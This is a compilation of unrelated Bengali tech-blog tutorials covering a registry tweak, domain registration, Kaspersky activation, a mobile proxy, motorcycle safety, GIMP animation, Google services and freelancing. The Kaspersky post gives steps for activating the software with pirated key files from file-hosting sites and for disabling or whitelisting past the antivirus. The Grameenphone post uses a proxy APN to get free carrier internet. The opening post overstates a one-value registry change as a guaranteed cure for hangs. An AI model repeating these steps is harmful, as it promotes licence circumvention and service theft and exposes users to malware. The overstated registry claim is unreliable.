আপনার কম্পিউটার হ্যাং,কোন কাজ করতে পারচেন না,তাহলে এ পোস্ট টি আপনার জন্য……. 100% সত্য…………………..।

আসালামুয়ালাইকুম,
সবাই কেমন আছেন।
আমি আপনাদের দোয়া ভাল আছি।
আজ আমি আপনাদের দেখাবো কিভাবে আপনার হ্যাং কম্পিউটার কে ফাস্ট করা যায়। তাহলে চলুন দেখে নিই,
প্রথমে আপনার কম্পিউটার এর রান কমান্ড এ গিয়ে টাইপ করুন regedit তারপর ওকে দিন,কোন ম্যাসেস আসলে yes দিন।
তারপর নিচের মত একটা স্কিন আসবে
তারপর HKEY_CURRENT_USER এ ডাবল কিল্ক করুন, নিচের মত আসবে
তারপর Control Panel এ ডাবল কিল্ক করুন, নিচের মত আসবে
তারপর Desktop এ ডাবল কিল্ক করুন,নিচের মত আসবেতারপর পাশে ActiveWndTrackTimeout এ ডাবল কিল্ক করুন,নিচের মত আসলে
শূন্য কে 1 করে দিন। আপনার কাজ শেষ।
এখন থেকে আপনার কম্পিউটার আর হ্যাং হবে না।
অ-সুবিধা হলে জানাবেন।
যদি কেও টিউনটি করে থাকেন ,তাহলে ক্ষমা করবেন ।
ধন্যবাদ সবাইকে কষ্ট করে টিউন পড়ার জন্য।
উপকৃত হলে অবশ্যই কমেন্ট
করে জানাবেন ।
আল্লাহ হাফেজ ।

যেভাবে ডোমেইন রেজিস্ট্রেশন করতে হয়!

আসসালামু আলাইকুম। আশা করি সবাই ভালো আছেন। আমার WHM টিউটোরিয়াল লেখার সময় অনেকে জানতে চেয়েছেন কিভাবে ডোমেইন কিনতে হয় সে প্রক্রিয়াটা। তাই আজকে লিখতে বসলাম ডোমেইন কেনার সিস্টেমটা।
প্রথমত একটা ডোমেইন নেম নির্ধারণ করে নিতে হবে। এবার নির্দিষ্ট ডোমেইন কেনার সাইটে গিয়ে চেক করে দেখতে হবে সাইটটি আদৌ খালি আছে কিনা।
namecheap.com, godaddy.com,  domain.com আরও অনেক সাইট আছে যারা ডোমেইন বিক্রি করে।
এখানে আমি নেম চিপ এ ডোমেইন রেজিস্ট্রেশন প্রসেস দেখাচ্ছি প্রথমে-
https://www.namecheap.com এ গিয়ে একটা একাউন্ট করে নেন।
যে সকল ফিলড অবশ্যই পূরণ করতে হবে তা পূরণ করে নেন।  এবার Register a domain এ গিয়ে ডোমেইন সার্চ করতে হবে।

কোড ছাড়াই ক্যাসপারস্কি ২০১৩ একটিভেট করুন

আজ আপনারা এ পোস্টে জানতে পারবেন কিভাবে কোন প্রকার একটিভেশন কোড ছাড়াই ক্যাসপারস্কি একটিভেট করতে হয়।
প্রথমে ক্যাসপারস্কি কী ফাইল ডাউনলোড করে নিতে হবে।
সর্বশেষ আপডেট ১ এপ্রিল ২০১৩ একটিভেশন কী ফাইল-
Mediafire থেকে ডাউনলোড
RapidShare থেকে ডাউনলোড
Hotfile থেকে ডাউনলোড
কি ফাইলগুলো ডাউনলোড শেষ হলে আনজিপ করে নিন, এবং কোথায় আনজিপ করেছেন সেটা মনে রাখবেন।
একটিভেট করার সময় নির্দিষ্ট কি ফাইল সিলেক্ট করে দিবেন। তাহলেই একটিভেট হয়ে যাবে।
নিচের সাইট থেকেও নিয়মিত একটিভেশন পাবেন, যদিও সাইটটি ক্যাসপারস্কি এন্টিভাইরাস ব্লক করে রেখেছে(ফ্রি একটিভেশন সরবরাহ করার কারনে), অন্য এন্টিভাইরাস এই সাইটকে নিরাপদ হিসাবেই দেখছে-
http://www.kavkisfile.com
সাইটটিকে ক্যাসপারস্কি সেটিং থেকে whitelist করে নিন যদি ঢুকতে না পারেন, অথবা কিছুক্ষণের জন্য ক্যাসপারস্কি ডিজেবল করে সাইটে ঢুকুন।
একটিভেট করার আগে ইন্টারনেট ডিজেবল করে নিন। তারপর নিচের দেয়া ছবি অনুসারে ফলো করুন।







আর ইউটিউব ভিডিও দেখতে পারেন যদি সমস্যা হয়-
https://www.youtube.com/embed/cKjUmS6lxv0

নতুন সার্ভার এর সাথে grameenফোনে ফ্রী ইন্টারনেট অ্যান্ড্রয়েড ফোনে একটু ভিন্ন স্টাইলে(first on net)

অ্যান্ড্রয়েড ফোনে ডিফল্ট ব্রাউজার দিয়ে ফ্রী ইন্টারনেট চালান,যাদের অপেরা কাজ করে না,
তাদের জন্য এই পোস্ট।

অনেক খোঁজাখুঁজি করে ১টা প্রক্সি পাইলাম যেটা দিয়ে ডিফল্ট ব্রাউজার দিয়ে ব্রাউজ করতে পারবেন সেটা আবার নিউ সার্ভার দিয়ে অনেক মজা তাই না  আমি w60তে ব্যাবহার করতেছি তো চলুন শুরু করা যাক।
Android settings
Mobile network>accesspoint name>grameen>new apn
Name:as you wish
Apn:gpinternet
Apn type:default
Proxy:217.79.179.67
Port:80
আর কিছু এডিট করতে হবে না যা আছে তাই থাকবে।
Save and select  করে বেরিয়ে আসুন।



এখন ব্রাউজার ওপেন করুন option> setting>advanced>enable javascript টিক চিহ্ন টা তুলে দেন।



আর একটু কাজ আছে general >set homepage :wap.gamezilla.comঅথবাbd.dooplays.com কাজ শেষ।
নিচে দেখেন url বক্স আসছে। url বক্স এ সাইট প্রবেশ করান ব্রাউজ এ ক্লিক করুন।

আপনি এখন নিশ্চিন্তে ব্রাউজ এবং ডাউনলোড  করুন।

আর একটা কথা bd.dooplays.com এই সার্ভার বন্ধ হয়ে গেলে wap.gamezilla.com ব্যাবহার করতে পাড়বেন।ভাল লাগলে আমার ফেসবুক ফ্যান পেজে join করতে পারেন
 www.fb.com/hpyworld

মোটর সাইকেল চালানোর পূর্বে যে বিষয় গুলো আপনার অবশ্যই জানতে হবে

সবকিছুরই নির্দিষ্ট কিছু নিয়ম নীতি রয়েছে, সেগুলো অবশ্যই মেনে চলা উচিত । এ কারণে মোটরসাইকেলের নিরাপত্তার জন্য বাইক চালকদের জন্য কিছু নিয়মনীতি রয়েছে যেগুলো তাদের দুর্ঘটনা প্রতিরোধে সাহায্য করবে । নিয়মনীতিগুলোকে বিভিন্ন ধাপে ভাগ করা যায়। যেমনঃ
*বাইক চালানোর পূর্বে অনুসরনীয় ধাপসমূহ
*রাস্তায় অনুসরনীয় ধাপসমূহ
*যাত্রী বহনের সময় অনুসরনীয় ধাপসমূহ
*দলগতভাবে ভ্রমণের সময় অনুসরনীয় ধাপসমূহ
*মোটরসাইকেল চালানোর সরঞ্জাম
*মোটরসাইকেলের রক্ষণাবেক্ষণ
*আইনগত দায়িত্বসমূহ
motorcycle in bangladesh
এখন এই নিয়মনীতি গুলো বিস্তারিত ব্যাখ্যা করি । প্রথমেই আমরা আলোচনা করবো বাইক চালানোর পূর্বে অনুসরনীয় ধাপসমূহ । আপনি অবশ্যই মালিকের জন্য সরবরাহ করা ম্যানুয়ালটি পড়বেন, যেটা হতে আপনার বাইক সম্পর্কে অনেক তথ্য পাবেন  এবং জানতে পারবেন কিভাবে এটা রক্ষণাবেক্ষণ করতে হবে ।
তারপর আপনি বাইকের টায়ার পরীক্ষা করবেন যেন তারা যথেষ্ট শক্তিশালী হয় এবং অবশ্যই একটি ভালো গজের সাহায্যে টায়ার এর চাপ মেপে নেবেন । তারপর আপনি কন্ট্রোল ক্যাবল বা নিয়ন্ত্রণ করার তারগুলো ভালো ও ব্রেক করার উপযুক্ত আছে কিনা তা পরীক্ষা করবেন। এরপর আপনি লাইট, হর্ন, দিক নির্দেশক সিগন্যাল ও আয়না পরীক্ষা করুন । আরও পরীক্ষা করুন জ্বালানী তেলের অবস্থা এবং যে চেইন দ্বারা আপনার পেছনের চাকা ঘুরে সেটি যথাযথ অবস্থায় আছে কিনা এবং অবশ্যই ব্রেক পরীক্ষা করুন ।
রাস্তায় যে নিয়ম নীতি গুলো অনুসরন করতে হবে তার মধ্যে প্রথমে আপনাকে যানজটের কথা মাথায় রাখতে হবে। আপনাকে সম্ভাব্য বিপদের কথা মাথায় রাখতে হবে এবং আপনাকে এটা নিশ্চিত হতে হবে যে অন্য ড্রাইভাররা যেন আপনাকে দেখতে পায়, এ কারণে আপনাকে দিনেও হেডলাইট জ্বালাতে হতে পারে এবং আপনাকে উজ্জ্বল রঙ এর কাপড় পড়তে হবে । সবসময় যথাযথ সিগন্যাল দিন এবং হর্ন বাজান এবং প্রয়োজনে আপনার বাইককে এমন অবস্থানে নিন যেন সেটি দেখা না যায় এবং সবসময় খেয়াল রাখুন যেন আপনি ট্রাকের পেছনে না থাকেন । আপনার চারপাশে কি ঘটছে তা অত্যন্ত মনোযোগ দিয়ে খেয়াল করুন এবং এ জন্য আপনার চোখকে সক্রিয় রাখুন ।
যখন আপনি রাস্তার মধ্য দিয়ে ৪০ কিলোমিটার গতিতে চালাবেন তখন আপনার সামনের গাড়ি হতে ২ সেকেন্ডের ব্যবধান রাখুন। বেশী গতিতে চালানোর সময় এটা তিন থেকে চার সেকেন্ড হতে পারে । কোন গাড়ি পাশ দিয়ে যাওয়ার সময় আপনাকে অবশ্যই সচেতন হতে হবে এবং কখনো ওভারটেক করবেন না। বাইক চালানোর জন্য অন্ধকার একটি বিপদজনক সময় । তাই সম্ভব হলে রাতে বাইক চালাবেন না এবং চালালেও পরিষ্কার ভিজর (মুখ আবৃত করার অংশ) ব্যবহার করবেন।
নিশ্চিত হোন যে আপনার বাইক একজন অতিরিক্ত যাত্রী পরিবহনের উপযুক্ত এবং আপনি যদি বাচ্চা পরিবহন করেন তাহলে নিশ্চিত হন যে সে যথেষ্ট পরিণত । আপনার যাত্রীকে শিখিয়ে দিন সে যেন মাফলার হতে পা দূরে রাখে এবং তার নড়াচড়া ও কথাবার্তা সীমিত করতে বলুন । মালিকের জন্য সরবরাহকৃত ম্যানুয়ালটি ভালভাবে পড়ে সেখানে উল্লেখিত নিয়মনীতি গুলো মেনে চলুন । যাত্রী যেন গরম স্থানসমূহ হতে তার হাত ও পা দূরে রাখে সে ব্যাপারে নিশ্চিত হন যাত্রী উঠার আগে মোটরসাইকেল স্টার্ট করে নিন।
দলগতভাবে ভ্রমণের আগে একটি আলোচনা করুন । চালকদের মধ্য থেকে একজন দলনেতা নির্বাচন করুন এবং অভিজ্ঞ লোক নির্বাচন করুন যে সবসময় পিছনে থাকে। দলটি অবশ্যই পাঁচ থেকে সাতজনের মধ্যে সীমিত হওয়া উচিত অথবা আপনারা কতগুলো ছোট ছোট দলে ভাগ হয়ে যেতে পারেন । একজন চালক মোবাইল ও প্রয়োজনীয় সরঞ্জাম বহন করবে । আপনারা কখনো পাশাপাশি চালাবেন না এতে চালকদের মধ্যে দূরত্ব বেড়ে যায় ।
মোটরসাইকেল চালানোর সরঞ্জামের ক্ষেত্রে আমরা বলতে পারি আপনি অবশ্যই একটি হেলমেট পড়বেন যেটা আপনার মাথার আকারের উপযোগী এবং যেটাতে আপনাকে সুন্দর দেখাবে। এছাড়াও চশমা পড়তে পারেন, জ্যাকেট লেদারের হতে পারে এবং এটা অবশ্যই চেইনযুক্ত হওয়া উচিত, প্যান্টও লেদারের হতে পারে । গ্লাভস অবশ্যই দুর্ঘটনা প্রতিরোধী হতে হবে এবং অবশ্যই উজ্জ্বল রঙের কাপড় পড়বেন।
মোটরসাইকেল রক্ষণাবেক্ষণ করার জন্য মালিকের জন্য সরবরাহকৃত ম্যানুয়ালের তারিখ অনুযায়ী আপনাকে এটা নিয়মিত সার্ভিসিং করাতে হবে । আপনার অবশ্যই ময়লাগুলো পরিস্কার করতে হবে এবং প্রত্যেক মাসে ব্যাটারি পরীক্ষা করতে হবে। আপনার বাইকে সবসময় মেরামত করার সরঞ্জাম ও ম্যানুয়ালটি রাখুন কারণ আপনার বিপদের সময় এগুলো  আপনাকে সাহায্য করবে ।
আইনগত দায়িত্ব সমূহের মধ্যে পড়ে লাইসেন্স করানো এবং যদি প্রয়োজন হয় লিখিত পরীক্ষা দিন এবং আপনি অবশ্যই বিমা করুন । গতির ইচ্ছা দমন করুন ও মোটরসাইকেলে কখনো অ্যালকোহল পান করবেন না ।
যদি এই কৌশলগুলো যথাযথ ভাবে অনুসরন করা হয় তাহলে আমরা দুর্ঘটনা প্রতিরোধ করতে পারব । আশা করি এই নিরাপত্তামূলক কৌশলগুলো আপনাকে দুর্ঘটনা এড়াতে সাহায্য করবে । এই লেখাটি সম্পর্কে আপনার মূল্যবান মতামত কামনা করি আপনি আপনার পরামর্শ এখানে দিতে পারেন ।
আশা করি মোটর সাইকেল প্রেমিদের লেখা টি ভালো লাগবে। যদি ভালো লাগে তাহলে নির্বাচিত টিউন মনোনয়ন করতে ভুলবেন না।
Mollahlinks

সুন্দর সুন্দর এনিমেশন তৈরি করুন আপনি নিজেই । গিম্প দিয়ে .gif এনিমেশন তৈরি করুন

আজকে আপনাদের কে দেখাবো কিভাবে গিম্প দিয়ে সুন্দর সুন্দর .GIF এনিমেশন তৈরি করতে পারবেন। প্রথমেই বলে নেই GIMP থথা গিম্প একটি ওপেন সোর্স সফটওয়ার যা কিনা এক্কেবারে ফ্রি !!!! এর উইন্ডোজ ,উবুন্টু এবং ম্যাক সব অপারেটিং সিস্টেমেই পাবেন। যদি আপনার কাছে এই সফটওয়ার টি না থাকে তবে এটিকে ডাউনলোড করে নিতে পারেনএই লিঙ্ক থেকে ।
আচ্ছা আসুন তাহলে টিউটোরিয়াল বিষয়ক কথায় অসি । প্রথমে আমি যেটা বলবো যে ডিজাইনিং পরিপূরণ একটি ক্রিয়াটিভ বিষয় আপনি যদি সময় দেন তাহলে অনেক ধরনের ও অনেক সুন্দর সুন্দর কাজ আপনি দেখাতে পারবেন বা করতে পারবেন।
তো প্রথমে আপনি যেটা করবেন সেটা হল গিম্প ওপেন করুন। তারপর
Ctrl+n মানে নতুন পিকচার তৈরি করার জন্যে আপনার সুবিধা মতন সাইজ সিলেক্ট করুন
আপনি চাইলে আমারটাও নিতে পারেন
তারপর fill tool টির সাহায্যে একটি ব্যকগ্রাউন্ড  নিলামএই ভাবে ।
আপনি চাইলে আমারটাও নিতে পারেন
তারপর fill tool টির সাহায্যে একটি ব্যকগ্রাউন্ড  নিলামএই ভাবে ।
 এটিকে সেভ করলাম Ctrl+s ক্লিক করে একটি আলাদা ফোল্ডারে নির্দিষ্ট একটি নাম দিয়ে ফাইল টিকে .jpg ফরম্যটে সেভ করলাম
তারপর এই উইন্ডো টি আসলো এবং প্রথম পিকচার টি সেভ  করলাম
undefined
তারপর আবার গিম্প এ গিয়ে নতুন একটি পিকচার বানিয়ে একিভাবে সেভ করলাম
undefined
একটি বিষয় মনে রাখতে হবে পিকচার গুলো কে যখন সেভ করবেন তখন কোনটার পর কোনটার স্লাইড আসবে সে হিসেবে নাম দিবেন যেমন ১২৩৪৫৬৭৮৯
তারপর যখন আপনার ছবি গুলো ক্রিয়েট করা সম্পন্য হয়ে যাবে।
undefined
তখন গিম্পের মেইন উইন্ডো  টি ক্লিয়ার করে File ট্যব -Open as Layers
undefined
তারপর আপনি যে ফোল্ডারে পিকচার গুলো সেভ করেছিলেন সেখান থেকে Ctrl+a ক্লিক করে সব গুলো ফাইল ওপেন করুন তারপর ফিল্টারস Filters ট্যব ক্লিক করে
–>
একদম শেষের দিকে দেখবেন এনিমেশন নামে একটি অপশন আছে সেখান থেকে প্ল্যে ব্যক এ ক্লিক
অর্থাৎ Filters-animetion-play back
undefined
প্লে বাটন ক্লিক করুন দেখবেন আপনার পিকচার গুলো একের পর এক এনিমেটিং হচ্ছে
এবার আবার ফাইল (file) ট্যব এ গিয়ে সেভ এজ (save as) এ ক্লিক করুন তারপর কথায় সেভ করবেন সেটা নির্বাচন করুন তাপর নাম দিন এবং .gif ফরমেটে সেভ বাটনে ক্লিক করুন কিভাবে করবেন?
undefined
 তারপর
undefined
 এই অনুযায়ীযেতে থাকুন এক্সপোর্ট এ ক্লিক করুন  তারপ
undefined
 এখানে লুপ ফরেভার মানে
–>
এনিমেশন টাকি একবার ঘুরে বন্ধ হয়ে যাবে নাকি সবসময় এনিমেটিং করতে থাকবে যদি সবসময়ের জন্যে হয় তবে চেক দিন আর মিলিসেকেন্ডের বক্সে কতো সময় ধরে এনিমেশন হবে সেটা নির্ধারণ করতে পারবেন তারপর সেভ ।
ব্যস হয়ে গেল। এবার দেখুন আপনি আপনার কাঙ্ক্ষিত রেজাল্ট টি পেয়েছেন কিনা ?
আমি গিম্প সম্পর্কে অত এক্সপার্ট না তবে যে বিষিয়ে লিখেছি সে বিষয়ে কোন কিছু যানতে চাইলে কমেন্ট করুন + আপনার মতামত দিন।
undefined

গুগলের প্রয়োজনীয় কিছু সেবা যা আপনার কাজে লাগতে পারে

আসসালামু আলাইকুম ।
আশা করি ভালই আছেন । আমাদের কাছে গুগল একটা সাধারণ নাম । কিন্তু গুগল এর কাজ শুধু অ্যান্ড্রয়েড, জিমেইল আর ইন্টারনেটে কোনো বিষয় অনুসন্ধান করা নয়। গুগলের প্রয়োজনীয় আরও বেশ কিছু সেবা রয়েছে, যা আপনার কাজে লাগতে পারে। এগুলো অনেকেরই অজানা । যারা জানেন না তারা জেনে নিন ।

images

গুগল মার্স

গুগলে সার্চ দিলে হয়তো আপনার প্রয়োজনীয় অনেক তথ্যই পেয়ে যান। তবে আপনি যদি মঙ্গল গ্রহের তথ্য পেতে চান বা মঙ্গলের মানচিত্র দেখতে চান, তবে ‘গুগল মার্স’ সেবাটিতে যেতে পারেন। গুগল কেবল পৃথিবীর মানচিত্রই তৈরি করেনি; গুগল মার্সের মাধ্যমে পাশাপাশি মঙ্গল গ্রহের মানচিত্র সেবাও দিচ্ছে। এখানে ক্লিক করে সেবাটিতে যেতে পারেন ।

গুগল স্কলার

গুগল স্কলার হচ্ছে স্কলার বা বিশেষজ্ঞদের জন্য। যাঁরা গবেষণাকাজের জন্য প্রয়োজনীয় তথ্য পেতে চান বা পড়াশোনার কাজে লাগানোর প্রয়োজনীয় তথ্যের খোঁজ করতে চান, তাঁদের জন্য আদর্শ সেবা গুগলের স্কলার।এখানে ক্লিক করে সেবাটিতে যেতে পারেন ।

গুগল আর্ট প্রজেক্ট

গুগল আর্ট প্রজেক্ট নামের সেবাটি চিত্রকর্ম-সংশ্লিষ্ট। বিশ্বের সেরা চিত্রকর্মগুলোর অনলাইন সংগ্রহশালা হচ্ছে গুগলের আর্ট প্রজেক্ট। বিশ্বের বিভিন্ন জাদুঘর অনলাইনে ভারচুয়ালভাবে ঘুরিয়ে আনবে গুগলের এই সেবাটি।এখানে ক্লিক করে সেবাটিতে যেতে পারেন ।

গুগল ইনপুট টুলস

গুগল ইনপুট টুলস ব্যবহার করে পছন্দের ভাষা ও স্টাইল ব্যবহার করে বার্তা লেখা ও আদান-প্রদান করা যায়।এখানে ক্লিক করে সেবাটিতে যেতে পারেন ।

গুগল থিংক ইনসাইট

গুগল থিংক ইনসাইট সেবাটি হচ্ছে অনলাইন ব্যবসা-সংক্রান্ত নানা তথ্যের ভান্ডার। গুগলের এ সেবা ব্যবহার করে বিভিন্ন পণ্যের সাম্প্রতিক সূচক, পরিসংখ্যান এবং বাজার গবেষণার নানা তথ্য পাওয়া যায়।এখানে ক্লিক করেসেবাটিতে যেতে পারেন ।

গুগল মডারেটর

কোনো প্রশ্ন মাথায় এলে কার সঙ্গে আলোচনা করবেন? ব্যবহার করতে পারেন গুগল মডারেটর সেবাটি। আপনার প্রশ্নের সমাধান ও নানা বিষয় নিয়ে সুচিন্তিত মতামত পাবেন গুগলের মডারেটর সেবাটিতে।এখানে ক্লিক করে সেবাটিতে যেতে পারেন ।

গুগলের এনক্রিপটেড

গুগলের এনক্রিপটেড সেবাটি হচ্ছে ইন্টারনেট ব্যবহারকারীর কম্পিউটার ও গুগলের মধ্যে তথ্য এনক্রিপশন করে রাখার সুবিধা।এখানে ক্লিক করে সেবাটিতে যেতে পারেন ।

স্কিমার

ইন্টারনেটে নতুন কিছু খুঁজে পাওয়া এবং বন্ধুদের সঙ্গে শেয়ার করার জন্য স্কিমার নামে গুগলের বিশেষ একটি সেবা রয়েছে।এখানে ক্লিক করে সেবাটিতে যেতে পারেন ।

গুগলের এসব সেবার খোঁজ পেতে গুগল সার্চে প্রয়োজনীয় সেবাটির নাম লিখুন। গুগল হয়তো আপনার অজানা অনেক সুবিধার সন্ধান দিতে পারবে।

যে কয়েকটি কারণে আপনি কখনই সফল ফ্রীলান্সার হতে পারবেন না!

বাংলাদেশের যুব সমাজকে বর্তমানে ফ্রীলান্স কি, কেন বা এই ধারার প্রশ্নগুলো তেমন কাউকে বুঝিয়ে বলতে হয় না বিশেষ করে যারা অনলাইন মুখী। কারণ গত কয়েক বছর ধরে আমাদের দেশে ফ্রীলান্সারদের যে আধিপত্য বিস্তার লাভ করেছে তা আমাদের সবারই জানাশুনার মধ্যেই। আবার কিছু কিছু ক্ষেত্রে রয়েছে ভিন্নতা। ভিন্নতা বলতে সেই বিষয়গুলো, যেগুলো বা যারা চোখের সামনে ভালো মন্দ গুলো দেখাও বিচার করতে পারে না আসলেই তাঁর কি করা উচিৎ।
প্রিয় পাঠক! আমার পোস্টির শিরোনাম দেখে অনেকেই ভাবছেন আমি হয়তো অন্যদেরকে অবমূল্যায়ন করছি। আমার পোস্ট টাইটেল সম্পর্কে যদি আপনার চিন্তা এমন হয়ে থাকে তাহলে বাকী লিখা গুলো আপনার জন্য নয়। আমি মূলত পোস্ট লিখছি তাদের জন্য যারা তাদের চোখের সামনে ভালো কিছু দেখেও সেগুলোকে নিজের করে নিতে পারে না। বা বুঝে উঠতে পারে না আসলেই কিভাবে তাঁরা নিজেকে একজন সফল ফ্রীলান্সার হিসেবে প্রতিষ্ঠিত করতে পারবেন।
কিছু কিছু বিষয় যা আপনি ফলো করতে পারলেই আপনার ফ্রীলাসার হওয়ার স্বপ্ন পূরণে অনেক সহায়তা করবে। দেখুন কারণ হিসেবে আমি এখানে যে বিষয়গুলোকে নেগিটিভলি উল্লেখ করবো সেগুলোকে আপনি বেশি কিছু না শুধু নিজের সাথে মিলিয়ে দেখেন এবং পারলে সেই বিষয়গুলোকে পজিটিভ করে নিন নিজের জন্য নিজের মত করে। তাহলে হয়তো আর পিছে ফিরে দেখতে হবে না। তো চলুন কারণ গুলো দেখে নেই যে কারণগুলোর কারণে আপনি কখনই একজন সফল ফ্রীলান্সার হতে পারবেন না-

১. অধ্যাবসায়হীনতাঃ


ফ্রীলান্সার হবার মূলমন্ত্র! এই গুনটি আপনার মাঝে নাই। আপনি অধ্যবসায়ী হতে পারেন নাই বা চেষ্টাও করেন নাই কখনও। এক বিষয় চিন্তা করেন, আপনি হয়তো অন্য সব সফল ফ্রীলান্সারদেরকে ফ্রীলান্সিং এর মাধ্যমে আয় করতে দেখে ভাবেন “আমিও সফল হবো” অথবা “আমি ঐ ভাইয়ের মতো এইটা হবো,ঐটা হবো”। দেখুন চাইলেই অনেক কিছু পাওয়া যায়, একথাটি অনেক ক্ষেত্রে সত্যি। তবে শুধু কি চাইলেই হবে কারণ এই কথাটি বলে আপনি যতই চেঁচামেচি করেন না কেন কোন লাভ হবে না। আপনার সফলতা কখনই আসবে না। কারণ আপনি যে ভাইয়ের মতো হইতে চাচ্ছেন সেই ভাই অনেক সাধনা করেই ঐটা হইছে বাট আপনি কি করছেন? সফলতা চাইতে হলে বা সফল হতে হলে আপনাকে বেশি কিছু করার দরকার হবেনা! শুধু দরকার আপনার পছন্দের বিষয়ে তীব্র “অধ্যবসায়”!একবার অধ্যবসায় শুরু করুণ। দেখবেন আপনার সফলতা আপনাকে হাত ছানি দিয়ে ডাকছে! :-)

২. সময়জ্ঞানহীনতাঃ


যারা অধ্যবসায়ী না তাঁদের কখনও সময়ের মূল্যায়ন করতে পারেন না। কারণ আপনি অধ্যবসায় শুরু করলেই আপনাকে সময় সম্পর্কে অনেক চিন্তা ভাবনা করে চলতে হবে। এমন অনেকেই দেখা যায়, যারা “টাকা আকাশে উড়ে” শুধু এই চিন্তা নিয়েই ফ্রীলান্স করতে আসেন। আসলে-ইতো টাকা উড়ে! কি বিশ্বাস হয় না? একবার ফ্রীলান্স সাইটগুলোতে দেখেন, প্রতিদিন কত কোটি ডলারের কাজ পোস্ট হয়। যার মধ্যে খুব বেশি হলে ৫০% কাজ সম্পূর্ণ হয় আর বাকীগুলান কর্মীর অভাবে বাতিল হয়ে যায়। আপনি কখনও একথায় বিশ্বাস-ই করবেন না কারণ আপনার সময়-ই নাই এসব সাইটে ভিজিট করে দেখবার। কারণ আপনি সময়জ্ঞানহীনতা নিয়ে অনেক ব্যস্ত থাকেন হয়তো!!! ;-)

৩. অপ্রত্যাশিতভাবে টাকার পিছনে ছুটছেনঃ

আবার আসি “টাকা আকাশে উড়ে” নিয়ে। বর্তমান সময়ে আমাদের দেশে এমন কিছু ফ্রীলান্সার আছেন। যারা আসলেই “ফ্রীলান্স” বা “ফ্রীলাসিং” কথাটির অর্থই জানেন না। তাঁদের জন্য একটু সংক্ষেপে বলি-

আউটসোর্সিং বা ফ্রীলান্সিং কি?

আউটসোর্সিং বা ফ্রীলান্সিং বর্তমান সময়ে বাংলাদেশ সহ বিশ্বের অনেক দেশে অর্থনৈতিক চালিকা শক্তির সবচেয়ে গুরুপ্তপূর্ণ ভিত্তি। বিশেষ করে যুব সমাজের কাছে যারা পড়াশুনার পাশাপাশি নিজের পকেট খরচটা চালাতে চান। একটা সময় দেখা যায় এই পেশায় তারা এমনভাবে জড়িয়ে পড়েন, যা কিনা তাদের ভবিষ্যতের আয় উন্নতির স্থায়ী পথ হয়ে যায়।
আউটসোর্সিং ও ফ্রীলান্সিং শব্দ দুটি আমরা একই জিনিস বুঝলেও। অর্থগত দিক থেকে এদের পার্থক্য আছে বটে, সংক্ষিপ্তভাবে বলছি এদের অর্থগত পার্থক্য। আউটসোর্সিং (Outsourcing) মানে বাহিরের মাধ্যম থেকে কোন কাজ বা তথ্য নিজের কাছে নিয়ে আসা বা নিজের কাজ বা তথ্য অন্যের কাছে পাঠিয়ে দেয়া। এক্ষেত্রে শুধু ফ্রীলান্সিংকে একক ভাবে আউটসোর্সিং বলা চলে না। যেকোনো বিষয় এর সাথে যুক্ত হতে পারে। এক্ষেত্রে স্থানীয়/নিজ দেশের কাজকে কিন্তু আউটসোসিং বলা চলে না।
আর ফ্রীলান্সিং (Freelancing) বলতে, মুক্ত বা স্বাধীনভাবে কাজ করার মাধ্যমকে বুঝায়। এক্ষেত্রে বলা চলে ফ্রীলান্সাররা কিন্তু কারো কাছে কুক্ষিগত নয়, এবং কখনও হতেও পারে না। ফ্রীলান্সাররা দেশ বিদেশের সকলের সাথে কাজ করে সম্পূর্ণ নিজের স্বাধীনতায়। কেউ তাকে বাধা বা কাজে বিঘ্নিত করতে পারে না। তবে হ্যাঁ, এক্ষেত্রে কেউ যদি নিজের চেষ্টায় না করে অন্য কোন ফ্রীলান্স দল/গ্রুপ আর আওতায় থেকে কাজ করে তবে তাকে মুক্ত বা স্বাধীন ফ্রীলান্সার বলা যাবে না। এক্ষেত্রে বলে রাখা ভাল, ফ্রীলান্স কি সম্পূর্ণ ফ্রি নিবন্ধন এর আওতায় পড়ে এবং বায়ারের কাজ গুলো ফ্রীলান্স কোম্পানি থেকে নিতে নগণ্য পরিমাণ অর্থ প্রদান করতে হয়ে।
দেখুন আপনি কাজ জানেন আপনার কাছে কাজ আসবে এটা কিন্তু ঠিক। তবে, আপনি যদি চুপ করে বসে থাকেন তাহলে কি কেউ আপনাকে জানবে? আপনাকে কাজ দিবে? টাকা কামাতে চাইলে আপনাকে আপনার কোয়ালিটি জানাতে হবে। প্রমাণ করতে হবে যে, আপনি কাজের জন্য বেস্ট! আর এভাবে না চলতে পারলে শুধু টাকার পিছনে ছুটাই হবে, ফ্রীলান্স করে টাকা কামানোর শখ কোনদিন পূরণ হবে না। :(

৪. কাজ শিখার অমনোযোগিতাঃ


এই বিষয়টিতে সবচেয়ে বেশি অমনোযোগী নতুনরা। অনেকেই প্রশ্ন করে বসেন, “ভাই সব চেয়ে সহজ কাজ কোনটি? যেটাতে তেমন কিছু শিখতে হবে না”। এমন কথা যারা বলেন তাঁদের জন্য ফ্রীলান্সিং না! কারণ, আপনি যদি সাধারণ মানের লিখালিখির কাজ করেও আয় করতে চান তবে আপনাকে জানতে হবে, কিভাবে লিখলে আপনাকে বায়ার কাজ দিবে বা লিখায় কতটা সৌন্দর্য দিতে পারলে বায়ার আপনাকে বেঁছে নিবে সবার মাঝে থেকে! অনেকে বলেন, ভাই আমি গ্রাফিক্স বা ওয়েব ডিজাইন শিখতে চাই কিন্তু কোথায় শিখবো, কার কাছে শিখবো জানি না। তাঁদের জন্য বলি, সৃষ্টিকর্তা তো আপনাকে অন্ধ করে পাঠান নাই, তাই না? আপনিতো অন্তত নেট ব্রাউজ/চালাতে পারেন। তাহলে গুগল করুন না আপনি যে বিষয়টি খুঁজছেন। যদি ওয়েব ডিজাইন টিউটোরিয়াল খুঁজেন তাহলে কীওয়ার্ড লিখুন “Free Web Design Tutorials” অথবা “Free Web Design Video Tutorials”। আমি ১০০% সিউর আপনি আপনার কাঙ্ক্ষিত বস্তুটি পেয়ে যাবেন। একটি কথা মনে রাখবেন, আপনি এখন ২০১২ সালে এসে যে জিনিস গুলো বাংলায় খুঁজে পাচ্ছেন সেগুলো কিন্তু কিছু বছর আগেও বাংলা ছিল না। আজ যারা সফল তাঁরা কিন্তু একটা সময় আপনার মতই ছিলেন। তাঁরা ইন্টারনেটের এই বিশাল ময়দান থেকে অনেক যুদ্ধ করে আজকের সফল ব্যক্তিত্ব হয়েছেন। আপনি তাঁদের মত হওন বা না হওন, নিজে খুঁজে নেয়ার চেষ্ঠাতো করবেন? না পেলে না হয় কার হলে নিবেন। নিজের চিন্তা এবং মেধা শক্তিকে কাজে লাগান। নাহলে, একটা সময় কোন কিছুই খুঁজে পাবেন না নিজের মাঝে থেকে! :(

